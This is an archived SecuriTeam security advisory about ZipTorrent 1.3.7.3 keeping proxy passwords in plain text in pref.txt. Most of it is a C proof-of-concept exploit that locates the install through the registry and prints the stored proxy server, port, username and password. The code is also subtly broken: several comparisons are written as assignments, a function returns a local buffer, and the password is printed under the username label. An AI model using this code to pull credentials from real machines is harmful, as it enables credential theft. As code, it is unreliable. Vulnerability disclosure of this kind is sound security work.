[NT] ZipTorrent Local Information Disclosure

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

ZipTorrent Local Information Disclosure
------------------------------------------------------------------------

SUMMARY

" <http://www.ziptorrent.com/> ZipTorrent allows you to search & download
torrents quickly and easily on popular torrent search engines without
leaving the software, and allows you to sort results by size, name,
seeders & leechers, categories, and more!"

Lack of proper protection of the passwords used by ZipTorrent allows local
attackers to retrieve them.

DETAILS

Vulnerable Systems:
* ZipTorrent 1.3.7.3

ZipTorrent stores proxy server information and password in
X:\[Program_Files_Path]\[ZipTorrent_Path]\pref.txt in plain text. A local
user that can access this file would be in turn able to read the passwords
stored in it.

Exploit:
/*================================

ZipTorrent 1.3.7.3 Local Proxy Password Disclosure Exploit by Kozan

Discovered & Coded by Kozan
Credits to ATmaCA
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

Application:
--------------------
ZipTorrent 1.3.7.3 (and probably prior versions)
Vendor: www.ziptorrent.com

Introduction:
--------------------
ZipTorrent is the fastest BitTorrent client for Windows with the
most features, such as Search om Major search engines an RSS reader,
IRC Chat rooms, Automatic Torrent Download Rules, Automatic Update,
Bandwidth Monitor, NAT Checking, and UPnP Support. An install wizard
that helps you through the installation process.

Bug:
--------------------
ZipTorrent stores proxy server information and password in
X:\\[Program_Files_Path]\[ZipTorrent_Path]\pref.txt
in plain text. A local user can read passwords and others.

Vendor Confirmed:
--------------------
No

Fix:
--------------------
There is no solution at the time of this entry.

-================================*/

#include <stdio.h>
#include <windows.h>

int GetOffset(char *FilePath, char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
if( (di=fopen(FilePath,"rb")) = NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 ) fseek(di,Sayac+1,SEEK_SET);
break;
}

if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}

fclose(di);
return -1;
}

char *ReadString(char *FilePath, char *Str)
{
FILE *di;
char cr;
int i=0;
char Feature[500];

int Offset = GetOffset(FilePath,Str);

if( Offset = -1 ) return NULL;
if( (di=fopen(FilePath,"rb")) = NULL ) return NULL;

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr = 0x0D) break;
Feature[i] = cr;
i++;
}

Feature[i] = '\0';
fclose(di);
return Feature;
}

char *GetZipTorrentPath()
{
HKEY hKey;
char szZipTorrentPath[MAX_PATH];
DWORD dwBufLen = MAX_PATH;
LONG lRet;

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\ZipTorrent",
0,
KEY_QUERY_VALUE,
&hKey
) = ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey,

"Install_Dir",
NULL,
NULL,
(LPBYTE)
szZipTorrentPath,
&dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > MAX_PATH) )
{
RegCloseKey(hKey);
return NULL;
}
RegCloseKey(hKey);
return szZipTorrentPath;
}
return NULL;
}

int main()
{
char szPwdFile[MAX_PATH];
char szServer[255], szPort[255], szUsername[255], szPassword[255];
bool bInstalled;
if( GetZipTorrentPath() = NULL ) bInstalled = false;
else
{
bInstalled = true;
strcpy(szPwdFile, GetZipTorrentPath());
strcat(szPwdFile, "\\pref.txt");
strcpy(szServer, ReadString(szPwdFile, "proxy_ip | "));
strcpy(szPort, ReadString(szPwdFile, "proxy_port | "));
strcpy(szUsername, ReadString(szPwdFile, "proxy_username |
"));
strcpy(szPassword, ReadString(szPwdFile, "proxy_password |
"));
}

fprintf(stdout, "ZipTorrent 1.3.7.3 Local Proxy Password Disclosure
Exploit by Kozan\n");
fprintf(stdout, "Credits to ATmaCA\n");
fprintf(stdout, "Web: www.spyinstructors.com \n");
fprintf(stdout, "Mail: kozan@spyinstructors.com \n\n");

if( !bInstalled )
{
fprintf(stderr, "ZipTorrent is not installed on your
pc!\n");
return -1;
}

fprintf(stdout, "Proxy Server\t: \t%s\n", szServer);
fprintf(stdout, "Proxy Port\t: \t%s\n", szPort);
fprintf(stdout, "Proxy Username\t: \t%s\n", szUsername);
fprintf(stdout, "Proxy Username\t: \t%s\n", szPassword);

return 0;
}

/* EoF */

ADDITIONAL INFORMATION

The information has been provided by <mailto:kozan@spyinstructors.com>
Kozan.
The original article can be found at:
<http://www.spyinstructors.com/show.php?name=Advisories&pa=showpage&pid=65> http://www.spyinstructors.com/show.php?name=Advisories&pa=showpage&pid=65

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.